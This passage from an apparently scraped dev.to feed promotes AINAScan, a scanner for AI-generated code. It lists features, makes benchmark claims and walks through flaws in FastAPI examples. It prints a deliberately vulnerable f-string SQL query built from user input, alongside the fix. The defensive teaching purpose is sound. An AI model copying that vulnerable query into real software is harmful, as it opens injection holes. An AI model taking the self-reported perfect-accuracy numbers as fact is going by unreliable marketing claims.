&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Code Structure&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Function count, class count, danger sinks, validators&lt;/li&gt;
&lt;li&gt;Detected libraries (&lt;code&gt;subprocess&lt;/code&gt;, &lt;code&gt;sqlite3&lt;/code&gt;, &lt;code&gt;requests&lt;/code&gt;...)&lt;/li&gt;
&lt;li&gt;Full function list with &lt;code&gt;SINK&lt;/code&gt; / &lt;code&gt;VALIDATOR&lt;/code&gt; badges&lt;/li&gt;
&lt;li&gt;Mermaid call graph source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. 🧠 AI Confidence badges&lt;/strong&gt; on each BLOCK issue&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK  SQL_INJECTION_RISK  line 47  🧠 98% · L3×6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;🧠 98% · L3×6&lt;/code&gt; means AINA's Phase 3 causal reasoning engine is 98% confident this is a real vulnerability, backed by 6 L3 causal chain matches from its knowledge base (1.9M+ edges, 133K+ causal relations).&lt;/p&gt;

&lt;p&gt;High confidence (≥90%) = red badge. Medium (≥70%) = orange. Below = grey.&lt;/p&gt;




&lt;h2&gt;
  
  
  What it catches that others miss
&lt;/h2&gt;

&lt;p&gt;Synthetic test cases based on real AI-generated bug patterns:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;AINAScan&lt;/th&gt;
&lt;th&gt;Semgrep (free)&lt;/th&gt;
&lt;th&gt;Bandit&lt;/th&gt;
&lt;th&gt;Claude inline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;COMMAND_INJECTION&lt;/code&gt; (shell=True + user input)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;COMMAND_INJECTION&lt;/code&gt; (f-string in subprocess)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;PATH_TRAVERSAL&lt;/code&gt; (open with user path)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;⚠️ partial&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;MISSING_WRITE&lt;/code&gt; (no INSERT in save fn)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;FAKE_ASYNC&lt;/code&gt; (blocking event loop)&lt;/td&gt;
&lt;td&gt;✅ WARN&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;LLM_OUTPUT_INJECTION&lt;/code&gt; (AI output → eval)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Interprocedural taint (1-hop)&lt;/td&gt;
&lt;td&gt;✅ BLOCK&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The interprocedural taint tracking is worth calling out — it catches cases where tainted user input passes through a function boundary before hitting a dangerous sink. Most free tools don't do this.&lt;/p&gt;




&lt;h2&gt;
  
  
  9 languages supported
&lt;/h2&gt;

&lt;p&gt;Python · JavaScript · TypeScript · Go · Ruby · Java · PHP · Kotlin · C/C++&lt;/p&gt;

&lt;p&gt;Python gets the deepest analysis (all 48 patterns + senior analysis + structure + AI advisor). Other languages get the core security patterns via tree-sitter AST.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to use it
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Single file:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Paste your code or upload a file&lt;/li&gt;
&lt;li&gt;Click Scan&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Whole project (ZIP):&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;⭐ Star &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;github.com/Moonsehwan/aina-scan&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Sign in with GitHub (unlocks ZIP scan + scan history + 7-section docs)&lt;/li&gt;
&lt;li&gt;Zip your project, drop it on the ZIP scanner&lt;/li&gt;
&lt;li&gt;Get results for all files in ~10 seconds&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Free for members. No code is stored on the server — everything is analyzed in memory and discarded after the response.&lt;/p&gt;




&lt;h2&gt;
  
  
  7-Section Auto Documentation
&lt;/h2&gt;

&lt;p&gt;Member feature: upload a ZIP and get a Markdown document with:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Project Structure&lt;/strong&gt; — file tree + function/class/API counts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Function Reference&lt;/strong&gt; — name · line · params · return type
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependencies&lt;/strong&gt; — &lt;code&gt;requirements.txt&lt;/code&gt; parsed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mermaid Diagram&lt;/strong&gt; — module dependency graph&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API Endpoints&lt;/strong&gt; — FastAPI/Flask auto-detected&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DB Schema&lt;/strong&gt; — SQLAlchemy Column extraction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validation Status&lt;/strong&gt; — BLOCK/WARN summary per file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Pure AST — no LLM, no API calls, instant.&lt;/p&gt;




&lt;h2&gt;
  
  
  The benchmark numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;P=R=F1=100%&lt;/strong&gt; on 90-case benchmark (30 TP + 30 TN Python, 30 multilang)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero false positives&lt;/strong&gt; on top-10 open source repos (10/10 clean)&lt;/li&gt;
&lt;li&gt;9 languages · tree-sitter AST · deterministic&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;If you're shipping AI-generated code and want a second opinion before it hits production — &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;give it a try&lt;/a&gt;. Takes 5 seconds per file.&lt;/p&gt;

&lt;p&gt;Feedback welcome in the comments — especially if you find a false positive or a pattern we're missing.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>opensource</category>
      <category>ai</category>
    </item>
    <item>
      <title>AINAScan v1.1.1 — Web UI Live, 48 Patterns, Auto-fix (Thank You for the Traffic)</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Tue, 23 Jun 2026 08:38:47 +0000</pubDate>
      <link>https://dev.to/ainascan/ainascan-v111-web-ui-live-48-patterns-auto-fix-thank-you-for-the-traffic-4aa5</link>
      <guid>https://dev.to/ainascan/ainascan-v111-web-ui-live-48-patterns-auto-fix-thank-you-for-the-traffic-4aa5</guid>
      <description>&lt;p&gt;We've been absolutely blown away by the real-world usage over the last 48 hours.&lt;/p&gt;

&lt;p&gt;Watching developers scan actual production files — &lt;code&gt;agent.py&lt;/code&gt;, &lt;code&gt;vibe_code.py&lt;/code&gt;, full FastAPI projects — deep into the night confirmed what we suspected: &lt;strong&gt;AI-generated code guardrails are desperately needed, and people are ready to use them.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Thank you. Seriously.&lt;/p&gt;




&lt;h2&gt;
  
  
  What just shipped (v1.1.1 — June 23)
&lt;/h2&gt;

&lt;p&gt;Based on your scan patterns and feedback, I pushed a live hotfix + upgrade:&lt;/p&gt;

&lt;h3&gt;
  
  
  🌐 Web App is live
&lt;/h3&gt;

&lt;p&gt;No CLI, no install. Just open the URL and drop your file:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;https://pleasing-transformation-production-90c2.up.railway.app&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Drag. Drop. Scan. Results in under 2 seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔧 Engine upgraded to v3.9
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;48 patterns&lt;/strong&gt; fully active (was partially loaded before — sorry about that)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AINA Phase 3&lt;/strong&gt; causal advisor integrated — every BLOCK finding now includes an attack chain probability&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;9 languages&lt;/strong&gt;: Python, JS, TS, Go, Java, PHP, Ruby, Kotlin, C/C++&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ✨ New endpoints
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;POST /v1/fix&lt;/code&gt;&lt;/strong&gt; — upload a file, get auto-fix suggestions for every BLOCK finding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;GET /v1/public-stats&lt;/code&gt;&lt;/strong&gt; — live scan counts, top patterns, github stats&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;GET /v1/board&lt;/code&gt;&lt;/strong&gt; — pattern leaderboard (what's most common in real code)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🐛 MISSING_WRITE core logic improved
&lt;/h3&gt;

&lt;p&gt;The AST parser now strictly catches mock-save functions that return dicts without an actual INSERT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Before: NOT detected (was a gap)
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# no INSERT anywhere
&lt;/span&gt;
&lt;span class="c1"&gt;# After: BLOCK — MISSING_WRITE
# "save_user() returns dict but contains no db.execute() / INSERT / conn.commit()"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pattern shows up constantly in vibe-coded FastAPI backends. The function &lt;em&gt;looks&lt;/em&gt; complete — it even returns a success response. The bug is invisible until someone tries to retrieve the data.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's coming this week
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Cross-file taint analysis (&lt;code&gt;/v1/scan/taint&lt;/code&gt;) — track user input across function boundaries&lt;/li&gt;
&lt;li&gt;L3 causal chains endpoint (&lt;code&gt;/v1/l3/chains&lt;/code&gt;) — query the 133K+ causal relations directly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/v1/scan/multilang&lt;/code&gt; dedicated endpoint — per-language scan with language-specific pattern tuning&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The core finding still stands
&lt;/h2&gt;

&lt;p&gt;The reason developers are stress-testing this at 2am: the patterns it catches are the exact ones that survive code review.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CRITICAL  SQL_INJECTION_RISK  app.py:47
          cur.execute(f"SELECT * FROM users WHERE id='{user_id}'")
          Attack path: user_input → sql_injection → data_exfil (p=91%)

BLOCK     FAKE_ASYNC          utils.py:23
          async def fetch_data(url): return requests.get(url).json()
          # blocks the event loop under concurrent load

BLOCK     MISSING_WRITE       models.py:88
          def save_record(data): return {"status": "saved"}  # no INSERT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three patterns. All invisible in code review. All caught deterministically in &amp;lt;2 seconds.&lt;/p&gt;




&lt;p&gt;Keep the scans coming. Every real-world finding helps tune the engine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Try it:&lt;/strong&gt; &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;https://pleasing-transformation-production-90c2.up.railway.app&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;API:&lt;/strong&gt; &lt;code&gt;curl -X POST .../v1/scan -H "X-API-Key: vg_free_test" -F "file=@your_file.py"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;https://github.com/Moonsehwan/aina-scan&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I scanned FastAPI's tutorial examples. Here's what I found.</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Tue, 23 Jun 2026 03:50:41 +0000</pubDate>
      <link>https://dev.to/ainascan/i-scanned-fastapis-tutorial-examples-heres-what-i-found-31mp</link>
      <guid>https://dev.to/ainascan/i-scanned-fastapis-tutorial-examples-heres-what-i-found-31mp</guid>
      <description>&lt;p&gt;FastAPI's official docs are beautiful. I love them.&lt;/p&gt;

&lt;p&gt;So I scanned them through &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here's what I found.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;FastAPI's tutorial examples are designed to teach. They're intentionally simplified. That's not a criticism — it's a design choice.&lt;/p&gt;

&lt;p&gt;But I wanted to know: when someone copies those examples directly into a production app (which happens constantly), what's the actual risk profile?&lt;/p&gt;

&lt;p&gt;I ran the examples through AINAScan, which tracks taint across variable assignments and detects 48 patterns across 9 languages. Here are the results.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding 1: The Classic SQL Injection Teaching Example
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# From FastAPI's SQL tutorial (simplified)
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/users/{user_id}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sql_app.db&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fetchone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AINAScan result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK: SQL_INJECTION_RISK  L5  →  f-string in execute()
       taint: user_id (path param) → SQL query string
       Score deduction: -28 pts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tutorial goes on to show SQLAlchemy (the right way), but the raw sqlite3 example is what gets copied first. The f-string SQL stays in the codebase. The SQLAlchemy refactor gets marked as "TODO."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = ?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fetchone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Finding 2: The &lt;code&gt;async def&lt;/code&gt; Trap
&lt;/h2&gt;

&lt;p&gt;FastAPI makes async look easy. Which causes this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/process&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;           &lt;span class="c1"&gt;# blocks
&lt;/span&gt;    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;heavy_computation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# blocks
&lt;/span&gt;    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# blocks
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;done&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AINAScan result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARN: FAKE_ASYNC  L2  →  async def with no await
      All calls are synchronous — blocks the event loop
      Score deduction: -6 pts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function is &lt;code&gt;async&lt;/code&gt; in name only. Under load, this serializes every request. FastAPI even documents this — use &lt;code&gt;def&lt;/code&gt; for blocking operations, &lt;code&gt;async def&lt;/code&gt; only when you actually &lt;code&gt;await&lt;/code&gt;. But the template makes everything &lt;code&gt;async&lt;/code&gt; by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/process&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;  &lt;span class="c1"&gt;# regular def = FastAPI runs in threadpool
&lt;/span&gt;    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;heavy_computation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;done&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Finding 3: The Save That Saves Nothing
&lt;/h2&gt;

&lt;p&gt;This one shows up in almost every vibe-coded FastAPI app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/users/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UserCreate&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# "Save" user
&lt;/span&gt;    &lt;span class="n"&gt;new_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new_user&lt;/span&gt;  &lt;span class="c1"&gt;# returns the dict but never stores it
